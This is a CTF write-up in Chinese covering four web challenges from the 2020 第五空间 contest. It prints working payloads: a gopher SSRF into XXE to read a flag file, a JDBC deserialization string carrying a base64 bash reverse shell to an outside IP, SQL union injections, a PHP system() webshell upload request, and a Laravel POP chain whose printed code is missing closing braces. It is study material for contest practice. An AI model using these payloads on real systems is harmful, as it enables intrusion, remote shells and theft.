第五空间 2020 Web Writeup

do you kown

非预期解法:
$_SERVER['QUERY_STRING']; 未进行解码操作,可以直接绕过读 /var/www/html/flag.php

GET /?a=1&b=1&c=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70 HTTP/1.1
Host: 121.36.64.91
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

刚开始没注意到这个问题,发现源码中的变量并不能进行赋值,也不知道新的变量覆盖的利用,根据 curl 考虑 SSRF,看了下过滤的协议,可能 gopher 打 POST

// index.php
<?php 
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件


    $res = curl_exec($ch);
    var_dump($res);
// xxe.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
    ob_end_clean();
}
?>
<style>
div.main{
    width:90%;
    max-width:50em;
    margin:0 auto;
}
textarea{
    width:100%;
    height:10em;
}
input[type="submit"]{
    margin: 1em 0;
}
</style>
<div class="main">
    <form action="" method="POST">
        <textarea name="data">
<?php
echo ($data!=false)?htmlspecialchars($data):htmlspecialchars('');
?>
        </textarea><br/>
        <input style="" type="submit" value="submit"/>
        &nbsp;&nbsp;&nbsp;<a target="_blank" href="<?php echo basename(__FILE__).'?s';?>">View Source Code</a>
    </form>
    <pre>
<?php echo htmlspecialchars($resp);?>
    </pre>
</div>

xxe.php 使用了替换,可以双写绕过,发送如下请求即可读 flag。

GET /?a=1&b=1&c=gopher://127.0.0.1:80/_POST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520curl/7.54.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Length%253A%2520319%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%25253D%2525221.0%252522%252520encoding%25253D%252522ureadtf-8%252522%25253F%25253E%25250A%25253C!DOCTYPE%252520xe%252520%25255B%25250A%25253C!ELEMENT%252520name%252520ANY%252520%25253E%25250A%25253C!ENTITY%252520xe%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Frereadad%25253Dconvert.base64-encode%25252Fresource%25253Dflreadag.php%252522%252520%25253E%25255D%25253E%25250A%25253Croot%25253E%25250A%25253Cname%25253E%252526xe%25253B%25253C%25252Fname%25253E%25250A%25253C%25252Froot%25253E HTTP/1.1
Host: 121.36.64.91
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

比赛时打 gopher 协议没有加端口,一直没有回显(很奇怪),就放弃了,这里参考了 ChaMd5 的 WP 加了 80 端口就可以了 ...

另外,又读了一下 hints.php 和 main.php,不知道在干啥 ..

// main.php
<?php
class A
{
    public $object;
    public $method;
    public $variable;

    function __destruct()
    {
        $o = $this->object;
        $m = $this->method;
        $v = $this->variable;
        $o->$m();
        global $$v;
        $answer = file_get_contents('flag.php');
        ob_end_clean();
    }
}

class B
{
    function read()
    {
        ob_start();
        global $answer;
        echo $answer;
    }
}
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
if (isset($_GET['‬'])) {
    unserialize($_GET['‬'])->CaptureTheFlag();
} else {
    die('you do not pass the misc');
}

// hints.php
<?php
#there is an main.php
#“大佬,要不咱们用一个好长好长的数字的md5做通信密码吧”
#“那你给我算一个出来”
#“好的”
#
#小白打开了win10的calc,开始计算8129947191207+1992100742919
#然后他直接用鼠标复制了结果,计算md5值
#“好了大佬,10122047934126的md5值”
#“6dc6a29df1d7d33166bba5e17e42d2ea对吧”
#“哈???不是3e3e7d453061d953bce39ed3e82fd2a1吗”
#
#“咱们对一下数字?”
#‭10122047934126‬
#10122047934126
#“这不是一样的吗....咋就md5不一样了.......”
#
#找出来到底哪里出了问题,就可以看这道web题目了

zzm's blog

比赛时没做出来 .. 参考了上面的 wp 复现了下。

使用 jackson 反序列化控制 jdbc 连接串,触发 JDBC 的反序列化

部署一个 https://github.com/fnmsd/MySQL_Fake_Server 同时放一个 yso 在同目录。使用 {"id"%3A["com.mysql.cj.jdbc.admin.MiniAdmin"%2C "jdbc%3Amysql%3A%2F%2F139.199.100.82%3A3306%2Ftest%3FautoDeserialize%3Dtrue%26queryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3Dyso_CommonsCollections7_bash -c {echo%2Cc2ggLWkgPiYgL2Rldi90Y3AvMTM5LjE5OS4xMDAuODIvODk5OSAwPiYx}|{base64%2C-d}|{bash%2C-i}"]} 触发反弹。

其他的 cc 链(7-10):https://www.anquanke.com/post/id/190468

美团外卖

扫描拿到源码,分析一下登录入口存在注入,构造 union select md5 可以登录,但没有什么作用,需要 admin 才能进入 admin 的内容。
找找其他的点,在 smslist 里面有一个无过滤的注入(其他文件里也有很多注入),尝试几次 union 的列个数,写到 8 的时候有回显了:/smslist.php?i=1'+union+select+1,2,3,4,5,6,7,((SELECT+GROUP_CONCAT(hints+SEPARATOR+0x3c62723e)+FROM+hint))%23&q=1
另外一个 /daochu.php?type=1&imei=1"+union+select+1,2,3,4,5,6%23&imei2=2
找到用户密码发现不是 hash,并不能登录,看一下数据表,有个 hint,读一下得到一个目录提示: see_the_dir_956c110ef9decdd920249f5fed9e4427,然后就可以访问 lib 目录了。
lib 目录存在两个上传,但是试了几次似乎都没有权限创建目录,源码里还有一个 preview.php,想到了湖湘杯有一年的上传就是通过这个打的,看了一下确实存在问题,打开页面没有提示错误,说明可能有写权限,构造一个 system,拿到下一步的提示。

POST /956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: 119.3.183.154
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=im8doagr4j913k4n129jgh3dq7
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

data:image/pppp;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg==

根据提示直接读 flag 即可。

laravel

laravel 5.7.28,
推荐一下 nu1l 的 payload,这个链条很简短清晰。

 
<?php
namespace Symfony\Component\Routing\Loader\Configurator {
    class ImportConfigurator {
        private $parent;
        private $route;
        public function __construct($parent) {
            $this->parent = $parent;
            $this->route = "cat /flag";
        }
    } 
}
namespace Faker {
    class Generator {
protected $formatters = array();
public function __construct($formatters)
{
    $this->formatters = $formatters;
}
namespace {
    $a = new Faker\Generator(array("addCollection" => "system"));
    $b = new
Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a);
    echo urlencode(serialize($b));
}

看一下 generaor

class Generator
{
    protected $providers = array();
    protected $formatters = array();


    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    /**
     * @param string $formatter
     *
     * @return Callable
     */
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }


    /**
     * @param string $method
     * @param array $attributes
     *
     * @return mixed
     */
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
}

通过 ImportConfigurator 的方法调用,触发 __call 后面就构造 formatter 就可以了。
我用的 guzzle 打的 .. 试了好久才成功。

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus